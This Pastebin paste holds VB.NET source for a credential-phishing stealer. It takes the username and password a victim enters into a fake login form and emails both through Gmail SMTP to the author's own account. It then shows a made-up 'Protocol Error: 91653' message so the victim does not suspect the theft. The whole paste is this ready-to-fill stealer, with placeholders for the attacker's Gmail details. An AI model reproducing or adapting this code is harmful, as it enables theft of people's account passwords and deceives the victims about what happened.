Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- If TextBox1.Text = "" Then
- MsgBox("Username Is Missing Or Invalid.")
- If TextBox2.Text = "" Then
- MsgBox("Password Is Mising Or Invalid.")
- Else
- End If
- End If
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("your Gmail here", "Your Gmail Password Here")
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com" 'Uses Gmail
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("Your Gmail")
- mail.To.Add("Your Gmail")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
- smtpServer.Send(mail)
- MsgBox("A Text Box Is Either Missing Or Invalid.", MsgBoxStyle.Exclamation, "Protocol Error: 91653")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement